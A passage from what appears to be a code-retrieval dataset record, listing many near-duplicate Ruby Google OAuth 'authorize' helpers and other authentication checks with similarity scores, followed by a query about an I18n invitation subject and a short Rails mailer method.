user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"以下のURLにWebブラウザでアクセスし、認証を行った後、表示されるコードを入力してください:\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization:\\n' + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization:\\n' + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n return credentials if credentials\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n authorizer.get_and_store_credentials_from_code(\n user_id: user_id,\n code: code,\n base_url: OOB_URI\n )\n end", "def authorize(force_reload)\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if force_reload || credentials.nil?\n session[:is_authorized] = false\n redirect_to google_fetch_path\n return\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(@credentials_path)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: @token_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, @scope, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: @oob_uri)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: @oob_uri\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code( user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize(credentials_path, secrets_path, scope)\n\n FileUtils.mkdir_p(File.dirname(credentials_path))\n\n file_store = Google::APIClient::FileStore.new(credentials_path)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(secrets_path)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => scope})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{credentials_path}\" unless auth.nil?\n end\n auth\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\\n\"\n puts url\n print \"\\nCode: \"\n code = gets\n puts\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def check_credentials\n raise \"Please set load_configuration with #{RightSignature2013::Connection.api_token_keys.join(',')} or #{RightSignature2013::Connection.oauth_keys.join(',')}\" unless has_api_token? || has_oauth_credentials?\n end", "def valid_for_http_auth?; end", "def authorize\n credentialsFile = FILE_POSTFIX\n\n if File.exist? credentialsFile\n File.open(credentialsFile, 'r') do |file|\n credentials = JSON.load(file)\n @authorization.access_token = credentials['access_token']\n @authorization.client_id = credentials['client_id']\n @authorization.client_secret = credentials['client_secret']\n @authorization.refresh_token = credentials['refresh_token']\n @authorization.expires_in = (Time.parse(credentials['token_expiry']) - Time.now).ceil\n if @authorization.expired?\n @authorization.fetch_access_token!\n save(credentialsFile)\n end\n end\n else\n auth = @authorization\n url = @authorization.authorization_uri().to_s\n server = Thin::Server.new('0.0.0.0', 8081) do\n run lambda { |env|\n # Exchange the auth code & quit\n req = Rack::Request.new(env)\n auth.code = req['code']\n auth.fetch_access_token!\n server.stop()\n [200, {'Content-Type' => 'text/html'}, RESPONSE_HTML]\n }\n end\n\n Launchy.open(url)\n server.start()\n\n save(credentialsFile)\n end\n\n return @authorization\n end", "def authorize\n\tclient_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n\tauthorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\tuser_id = 'default'\n\n\tcredentials = authorizer.get_credentials(user_id)\n\treturn credentials unless credentials.nil?\n\n\turl = authorizer.get_authorization_url(base_url: OOB_URI)\n\tputs 'Open the following URL in the browser and enter the ' \\\n\t\t \"resulting code after authorization:\\n#{url}\"\n\tcode = gets\n\n\treturn authorizer.get_and_store_credentials_from_code(\n\t\tbase_url: OOB_URI,\n\t\tuser_id: user_id,\n\t\tcode: code,\n\t)\n\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\"\n puts url\n puts \"\"\n puts \"paste code here:\"\n code = gets\n\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize(credentials)\n credentials_path = \"#{PATH}#{credentials}-gmail.json\"\n token_path = \"#{PATH}#{credentials}-token.yaml\"\n client_id = Google::Auth::ClientId.from_file credentials_path\n token_store = Google::Auth::Stores::FileTokenStore.new file: token_path\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = 'default'\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize(token_path, scope)\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: token_path\n authorizer = Google::Auth::UserAuthorizer.new client_id, scope, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = create_client_id\n token_store = create_token_store\n\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI\n )\n Rails.logger.debug do\n 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization'\n end\n Rails.logger.debug url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id:, code:, base_url: OOB_URI\n )\n end\n credentials\n end", "def verify_credentials!\n raise AuthenticationError.new(\"missing client code\") if Applitrack.client_code.nil? || Applitrack.client_code.empty?\n raise AuthenticationError.new(\"missing username\") if Applitrack.username.nil? || Applitrack.username.empty?\n raise AuthenticationError.new(\"missing password\") if Applitrack.password.nil? || Applitrack.password.empty?\n end", "def check_auth_expiration(auth, client_secrets_path, scope)\n return false unless auth.nil? ||\n (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(client_secrets_path)\n flow = Google::APIClient::InstalledAppFlow.new(\n client_id: app_info.client_id,\n client_secret: app_info.client_secret,\n scope: scope)\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{credentials_path}\" unless auth.nil?\n end", "def prompt_user_authorisation\n\n require './app/routes/web'\n\n # Start local API\n Launchy.open(\"http://localhost:5000/cli/auth\")\n\n auth_thread = Thread.new do\n Linkedin2CV::Routes::Web.run!\n end\n\n auth_thread\n end", "def auth_process\n\t\tif @auth_file.authorization.nil?\n \t\t\tmake_auth\n\t\telse\n\t\t\[email protected] = @auth_file.authorization\n\t\tend\n\tend", "def grant_authorization\n create_verification_code if authorized?\n redirect_back\n end", "def ensure_auth # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n if session[:prospect_params]\n # we have an application going so we've probably just refreshed the\n # screen\n redirect_to action: 'new', controller: 'prospects'\n elsif session[:cas].nil? || session[:cas][:user].nil?\n render status: :unauthorized, plain: 'Redirecting to SSO...'\n else\n user = User.find_by cas_directory_id: session[:cas][:user]\n if user.nil?\n render status: :forbidden, plain: 'Unrecognized user'\n else\n update_current_user(user)\n end\n end\n nil\n end", "def authorize\n\t\tclient_id = Google::Auth::ClientId.new(@config[\"AuthKey\"], @config[\"AuthSecret\"])\n\t\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\t\tauthorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\t\tuser_id = \"default\"\n\t\tLOGGER.debug \"[GmailDriver#authorize] Authorizing...\"\n\t\tcredentials = authorizer.get_credentials(user_id)\n\t\tif credentials.nil?\n\t\t\turl = authorizer.get_authorization_url(base_url: OOB_URI)\n\t\t\tLOGGER.warn \"Open the following URL in the browser and enter the \" \\\n\t\t\t\t\t \"resulting code after authorization:\\n\" + url\n\t\t\tcode = gets\n\t\t\tcredentials = authorizer.get_and_store_credentials_from_code(\n\t\t\t\tuser_id: user_id, code: code, base_url: OOB_URI\n\t\t\t)\n\t\tend\n\t\tcredentials\n\tend", "def authorize!(current_user)\n @authorized = false\n oauth_drive_token = OauthDriveToken.get_provider_for(current_user, APP_CONFIG['oauth']['google']['provider_number'])\n if oauth_drive_token.present?\n # Set details\n @client.authorization.access_token = oauth_drive_token.access_token\n @client.authorization.refresh_token = oauth_drive_token.refresh_token\n @client.authorization.client_id = oauth_drive_token.client_number\n\n if oauth_drive_token.expires_at < Time.now\n # Present but expired, attempt to refresh\n @authorized = true if self.refresh_token(oauth_drive_token)\n elsif self.current_token_still_valid?\n @authorized = true\n else\n # Not valid so destroy it and prompts for re-auth\n oauth_drive_token.destroy\n end\n end\n end", "def request_authorization\n create_ticket\n verify_resource_owner or return\n render_authorize_form\n end", "def setup_credentials\n unless yes?('Would you like to configure and store your credentials?')\n $stderr.puts \"Unable to proceed without credentials\"\n exit 1\n end\n\n begin\n choice = choose do |menu|\n menu.prompt = 'Which type of credentials would you like to set up? (token is highly recommended) '\n menu.choices(:password, :token, :none)\n end.to_sym\n end until [:password, :token, :none].include? choice\n\n if choice == :password\n setup_password_credentials\n elsif choice == :token\n setup_token_credentials\n else\n return false\n end\n rescue StandardError => e\n options.debug ? warn(e) : raise(e)\n false\n end", "def user_credentials_for(scope)\n FileUtils.mkdir_p(File.dirname(token_store_path))\n\n if ENV['GOOGLE_CLIENT_ID']\n client_id = Google::Auth::ClientId.new(ENV['GOOGLE_CLIENT_ID'], ENV['GOOGLE_CLIENT_SECRET'])\n else\n client_id = Google::Auth::ClientId.from_file(client_secrets_path)\n end\n token_store = Google::Auth::Stores::FileTokenStore.new(:file => token_store_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, scope, token_store)\n\n user_id = options[:user] || 'default'\n\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n say \"Open the following URL in your browser and authorize the application.\"\n say url\n code = ask \"Enter the authorization code:\"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end", "def credentials(authorization, request); end", "def authorise\n # checks can go here (is the application registered for example)\n grant = generate_grant\n valid_grants << grant\n grant\n end", "def oauth\n\t\tdropbox = DropboxConnection.new\n\t\n\t\tif params[:not_approved] == 'true'\n\t\t\tredirect_to dropbox_path, flash: { error: 'You just cancelled, didn\\'t you?' }\n\t\telse\n\t\t\t# the user has returned from Dropbox so save the session and go away\n\t\t\tdropbox.authorized\n\t\t\tredirect_to :root\n\t\tend\n\tend", "def login_required\n return if authorized?\n unauthorized! unless auth.provided?\n bad_request! unless auth.basic?\n unauthorized! unless authorize(*auth.credentials)\n @req.env['REMOTE_USER'] = auth.username\n end", "def authorize\n @credentials = authorizer.get_credentials(user_id)\n if @credentials.nil? || @credentials.expired?\n raise CalendarBot::AuthorizationError\n end\n\n @credentials\n end", "def login_required\n authorized? || throw(:halt, :access_denied)\n end", "def oauth_token_required\n unless oauth_token\n headers['WWW-Authenticate'] = 'Bearer'\n halt 403, 'OAuth token required'\n end\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(ENV['CREDENTIALS_PATH'])\n token_store = Google::Auth::Stores::FileTokenStore.new(file: ENV['TOKEN_PATH'])\n authorizer = Google::Auth::UserAuthorizer.new(client_id, ENV['SCOPE'], token_store)\n user_id = 'default'\n authorizer.get_credentials(user_id)\n end", "def login_required\n authorized? || throw(:halt, :access_denied)\n end", "def check_authorization\n # Decode Basic Auth, future jwt?\n require 'base64'\n\n credentials = request.headers['Authorization']\n\n if credentials.nil?\n render json: { error: 'Missing credentials, Authorization: Basic Auth ([email protected]:usertwo)'}, status: :forbidden\n else\n # Split > decode > split\n credentials = Base64.decode64(credentials.split[1]).split(':')\n\n # Get the creator by email\n @current_creator = Creator.find_by(email: credentials[0].downcase)\n\n # If nil and not able to authenticate with the password, return forbidden 403\n unless @current_creator && @current_creator.authenticate(credentials[1])\n render json: { error: 'Not authorized! Wrong credentials!'}, status: :forbidden\n end\n end\n end", "def auth_required\n unless Facts.config.user\n Facts.ui.puts \"Authorization required for this task, use `facts config`\"\n exit(0)\n end\n end" ]
[ "0.69332373", "0.6722061", "0.6658772", "0.66525155", "0.6556611", "0.65258646", "0.649897", "0.64935994", "0.6472398", "0.64645433", "0.6456058", "0.64552265", "0.6452492", "0.64505297", "0.64492494", "0.64413005", "0.6438607", "0.6409508", "0.6401031", "0.6395657", "0.63947415", "0.63859403", "0.63859403", "0.6381744", "0.6380385", "0.6380201", "0.6380201", "0.6380201", "0.6380201", "0.6380201", "0.6380201", "0.6369723", "0.6350219", "0.6340411", "0.6333897", "0.6332878", "0.633166", "0.63314193", "0.6327009", "0.6325926", "0.63248897", "0.6323554", "0.63216627", "0.6321573", "0.6321573", "0.6321573", "0.6321573", "0.6318156", "0.6318156", "0.6304679", "0.63006604", "0.62989193", "0.62989193", "0.62989193", "0.62989193", "0.62989193", "0.62989193", "0.62989193", "0.62989193", "0.62989193", "0.62989193", "0.62989193", "0.62881327", "0.6279642", "0.6270241", "0.6267888", "0.6250172", "0.62481296", "0.62468714", "0.6232856", "0.62240875", "0.61921656", "0.61859053", "0.61290705", "0.6103537", "0.6028838", "0.5976155", "0.5947212", "0.5941218", "0.5853613", "0.5842622", "0.58395773", "0.5836077", "0.58301777", "0.5806622", "0.58029", "0.57998574", "0.57985955", "0.5785043", "0.5767686", "0.57588476", "0.5725505", "0.57145876", "0.5705844", "0.5680778", "0.5653234", "0.56379676", "0.56267166", "0.56165916", "0.56149703" ]
0.6328389
38
Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.notifications.invitation.subject
def invitation(user) @user = user mail to: user.email end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
